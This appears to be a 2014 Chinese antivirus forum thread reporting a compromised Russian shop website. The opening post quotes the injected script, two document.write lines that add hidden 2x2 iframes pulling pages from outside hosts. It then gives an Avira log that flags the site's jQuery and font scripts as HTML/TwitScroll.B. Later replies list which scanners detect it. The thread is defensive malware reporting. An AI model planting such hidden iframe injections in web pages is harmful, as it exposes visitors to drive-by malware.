http://technosfera-nsk.ru/catalog/cid/581

显示全部楼层 · 发表于 2014-2-22 19:36:02

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://ilksahibinden.com/ezwd.html?j=2041039></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://snmsc.org/ohcd.html?j=2041039></iframe>');

复制代码

Avira

2014/2/22 下午 07:28 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\INV2BTG1\MyriadProCond.font[1].js'
   包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
   已採取動作：
   檔案會移動至 '5a0327a4.qua' 名稱底下的隔離區目錄!

2014/2/22 下午 07:28 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\5TH1K21Z\jquery.lightbox-0.5[2].js'
   包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
   已採取動作：
   檔案會移動至 '4293081b.qua' 名稱底下的隔離區目錄!

2014/2/22 下午 07:28 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 795
   目錄數： 0
   惡意程式碼數： 2
   警告數： 0

2014/2/22 下午 07:27 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\VUGD722P\jquery[3].js'
   包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
   已採取動作：
   檔案會移動至 '59192732.qua' 名稱底下的隔離區目錄!

2014/2/22 下午 07:27 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 794
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2014/2/22 下午 07:26 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\5TH1K21Z\jquery.lightbox-0.5[2].js 中
   偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
   執行的動作：傳輸至掃描程式

2014/2/22 下午 07:26 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\5TH1K21Z\jquery.lightbox-0.5[2].js 中
   偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
   執行的動作：拒絕存取

2014/2/22 下午 07:26 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\VUGD722P\jquery[3].js 中
   偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
   執行的動作：傳輸至掃描程式

2014/2/22 下午 07:26 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\UL724GWW\cufon-yui[1].js 中
   偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
   執行的動作：拒絕存取

2014/2/22 下午 07:26 [Web Protection] 發現惡意程式碼
   從 URL "http://technosfera-nsk.ru/js/jquery.lightbox-0.5.js" 存取資料時，
   發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
   已採取動作：已略過

2014/2/22 下午 07:26 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\INV2BTG1\MyriadProCond.font[1].js 中
   偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
   執行的動作：拒絕存取

2014/2/22 下午 07:26 [Web Protection] 發現惡意程式碼
   從 URL "http://technosfera-nsk.ru/js/effects.js" 存取資料時，
   發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
   已採取動作：封鎖的檔案

2014/2/22 下午 07:26 [Web Protection] 發現惡意程式碼
   從 URL "http://technosfera-nsk.ru/catalog/cid/581/" 存取資料時，
   發現病毒或有害的程式 'JS/iFrame.EXP.5' [virus]。
   已採取動作：封鎖的檔案

2014/2/22 下午 07:26 [Web Protection] 發現惡意程式碼
   從 URL "http://technosfera-nsk.ru/js/jquery.scrollx.js" 存取資料時，
   發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
   已採取動作：封鎖的檔案

2014/2/22 下午 07:26 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\INV2BTG1\MyriadProCond.font[1].js 中
   偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
   執行的動作：傳輸至掃描程式

2014/2/22 下午 07:26 [Web Protection] 發現惡意程式碼
   從 URL "http://technosfera-nsk.ru/js/cufon-yui.js" 存取資料時，
   發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
   已採取動作：已略過

2014/2/22 下午 07:26 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\VUGD722P\jquery[3].js 中
   偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
   執行的動作：拒絕存取

2014/2/22 下午 07:26 [Web Protection] 發現惡意程式碼
   從 URL "http://technosfera-nsk.ru/js/jquery.js" 存取資料時，
   發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
   已採取動作：已略過

2014/2/22 下午 07:26 [Web Protection] 發現惡意程式碼
   從 URL "http://technosfera-nsk.ru/js/MyriadProCond.font.js" 存取資料時，
   發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
   已採取動作：已略過

fs is

eset

显示全部楼层 · 发表于 2014-2-22 21:29:03

SCEP

显示全部楼层 · 发表于 2014-3-22 17:44:05

现在的网页木马很难过查杀咯

显示全部楼层 · 发表于 2014-3-28 21:27:50

显示全部楼层 · 发表于 2014-4-11 20:37:30

小A连续弹了10个窗

显示全部楼层 · 发表于 2014-4-13 00:48:35

GDATA,eset报

显示全部楼层 · 发表于 2014-5-7 10:55:17

大谷歌拦截

[已鉴定] http://technosfera-nsk.ru/catalog/cid/581